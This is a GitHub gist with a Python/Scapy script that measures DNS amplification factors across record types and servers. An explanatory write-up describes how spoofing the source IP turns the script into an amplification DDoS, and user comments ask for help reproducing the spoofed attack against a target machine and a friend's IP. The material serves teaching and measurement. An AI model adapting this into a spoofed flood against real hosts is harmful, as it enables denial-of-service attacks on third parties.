Skip to content

Instantly share code, notes, and snippets.

@thom-s
Last active April 11, 2024 23:31
Show Gist options
  • Save thom-s/7b3fcdcb88c0670167ccdd6ebca3c924 to your computer and use it in GitHub Desktop.
Save thom-s/7b3fcdcb88c0670167ccdd6ebca3c924 to your computer and use it in GitHub Desktop.
Better understanding DNS Amplification DDoS attacks through Python and Scapy.
# Imports
from scapy.all import *
from pprint import pprint
import operator
# Parameters
interface = "eth0" # Interface you want to use
dns_source = "local-ip" # IP of that interface
dns_destination = ["ip1","ip2","ip3"] # List of DNS Server IPs
time_to_live = 128 # IP TTL
query_name = "google.com" # DNS Query Name
query_type = ["ANY", "A","AAAA","CNAME","MX","NS","PTR","CERT","SRV","TXT", "SOA"] # DNS Query Types
# Initialise variables
results = []
packet_number=0
# Loop through all query types then all DNS servers
for i in range(0,len(query_type)):
for j in range(0, len(dns_destination)):
packet_number += 1
# Craft the DNS query packet with scapy
packet = IP(src=dns_source, dst=dns_destination[j], ttl=time_to_live) / UDP() / DNS(rd=1, qd=DNSQR(qname=query_name, qtype=query_type[i]))
# Sending the packet
try:
query = sr1(packet,iface=interface,verbose=False, timeout=8)
print("Packet #{} sent!".format(packet_number))
except:
print("Error sending packet #{}".format(packet_number))
# Creating dictionary with received information
try:
result_dict = {
'dns_destination':dns_destination[j],
'query_type':query_type[i],
'query_size':len(packet),
'response_size':len(query),
'amplification_factor': ( len(query) / len(packet) ),
'packet_number':packet_number
}
results.append(result_dict)
except:
pass
# Sort dictionary by the amplification factor
results.sort(key=operator.itemgetter('amplification_factor'),reverse=True)
# Print results
pprint(results)
@thom-s
Copy link
Author

thom-s commented Feb 17, 2019

DNS Amplification

Here I will attempt to better explain DNS amplification through the use of a script using Scapy and Python3.

I have added external links throughout this comment in case you need more context.

I suggest you take a look at the external resources at the bottom for more information.

What is DNS Amplification

DNS Amplification is a type of DDoS attack where attackers abuse a property of the DNS protocol to amplify their DDoS attack output. This property being that DNS reponses are always bigger than DNS requests.

Instead of sending packets directly to the victim, attackers will send DNS requests to an open resolver with the packet's source IP spoofed as the victims' IP. The DNS server will then send the response to the victim instead of the original sender. This makes the DDoS attack much more efficient for an attacker as they have to send much less data to DDoS their victim. The ratio between the request size and the response size is what we call the amplification factor.

This amplification property is not unique to the DNS protocol, it also applies to NTP for example. Different protocols and different types of requests have different amplification factors. You can find more information about amplification attacks here.

Script Usage

Requirements

You can install scapy with pip :

pip install scapy

Usage

Simply edit the variables under the # Parameters line (line 6) to your needs.

interface = "eth0"                    # Interface you want to use
dns_source = "local-ip"               # IP of that interface
dns_destination = ["ip1","ip2","ip3"] # List of DNS Server IPs

These parameters will be used by scapy to craft our DNS request packet and send it. In this case, we want the packet source to be our own IP so we can analyze the DNS response.

How it works

The script will loop through a list of DNS servers you specified in dns_destination. For each of those servers, it will do a query of each DNS query type (by looping through query_type) for the name in query_name. You can find more information on DNS query types here.

query_name = "google.com"
query_type = ["ANY", "A","AAAA","CNAME","MX","NS","PTR","CERT","SRV","TXT", "SOA"]

The script starts by crafting the following DNS query packet with scapy:

packet = IP(src=dns_source, dst=dns_destination[j], ttl=time_to_live) / UDP() / DNS(rd=1, qd=DNSQR(qname=query_name, qtype=query_type[i]))

An attacker would craft similar packets for a DNS amplification DDoS attack, but would spoof the source IP address. Using scapy, this would be done by changing the src parameter in the IP() network layer.

The script then sends the packet and waits for the first response using the sr1() function from Scapy.

query = sr1(packet,iface=interface,verbose=False, timeout=8)

It then adds the following information to a dictionary, which is appended to the list of results.

result_dict = {
  'dns_destination':dns_destination[j],
  'query_type':query_type[i],
  'query_size':len(packet),
  'response_size':len(query),
  'amplification_factor': ( len(query) / len(packet) ),
  'packet_number':packet_number
}
results.append(result_dict)

I then outputs the results list with pprint.

Output example

Here's an example of the final output in which we can see that many different type of query types and DNS servers can give us similar amplification factors.

[{'amplification_factor': 9.214285714285714,
  'dns_destination': '<IP>',
  'packet_number': 4,
  'query_size': 56,
  'query_type': 'ANY',
  'response_size': 516},
 {'amplification_factor': 9.214285714285714,
  'dns_destination': '<IP>',
  'packet_number': 8,
  'query_size': 56,
  'query_type': 'A',
  'response_size': 516},
 {'amplification_factor': 9.214285714285714,
  'dns_destination': '<IP>',
  'packet_number': 12,
  'query_size': 56,
  'query_type': 'AAAA',
  'response_size': 516},
 {'amplification_factor': 9.214285714285714,
  'dns_destination': '<IP>',
  'packet_number': 16,
  'query_size': 56,
  'query_type': 'CNAME',
  'response_size': 516},
 {'amplification_factor': 9.214285714285714,
  'dns_destination': '<IP>',
  'packet_number': 20,
  'query_size': 56,
  'query_type': 'MX',
  'response_size': 516},
 {'amplification_factor': 9.214285714285714,
  'dns_destination': '<IP>',
  'packet_number': 24,
  'query_size': 56,
  'query_type': 'NS',
...

External ressources

@kyaEH
Copy link

kyaEH commented Dec 31, 2020

Thanks bro! It really helped our workgroup ;)

@thom-s
Copy link
Author

thom-s commented Dec 31, 2020

Thanks bro! It really helped our workgroup ;)

Glad to hear it! Thanks

@th30c0der
Copy link

thanks for simple script

@EricBallard
Copy link

Hey this is a great write up, thanks for sharing! Code works great but I'm trying to reproduce the actual attack (on my machines).

When I set the src ip to be my target machine's IP I can see with wire shark that the packets are sent.. but when I sniff for the response on my target machine they never arrive? These packets are being dropped by the DNS server? It's my understanding if I set the src port in the packet as 1337 the DNS server will than attempt to respond with that port, so why am I not getting any response. Any idea what is happening? Thanks!

@thom-s
Copy link
Author

thom-s commented Apr 18, 2022

Hey this is a great write up, thanks for sharing! Code works great but I'm trying to reproduce the actual attack (on my machines).

When I set the src ip to be my target machine's IP I can see with wire shark that the packets are sent.. but when I sniff for the response on my target machine they never arrive? These packets are being dropped by the DNS server? It's my understanding if I set the src port in the packet as 1337 the DNS server will than attempt to respond with that port, so why am I not getting any response. Any idea what is happening? Thanks!

Hard to say without knowing more, what DNS server do you use in your lab? Perhaps the DNS server has some DNS amplification protection or drops packets with non-DNS ports (1337). What does the response look like when you have the same source IP as your machine's and what did you modify in the script? I'll be honest I haven't touched it in a while so I'm not too sure.

@WaPasc
Copy link

WaPasc commented Nov 22, 2023

Hello, I need to write a scapy script for school that represents a DNS amplification attack. If i put your code in a loop and use the IP address of my friend he doesn't receive anything. As interface I set my WIFI interface and dns source, my friends IP address. I'm interpreting this wrong because my friend doesn't see anything of DNS responses. Could it be my network that blocks this traffic or would it be my code that isn't correct. Has anyone ideas on how to solve this problem?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment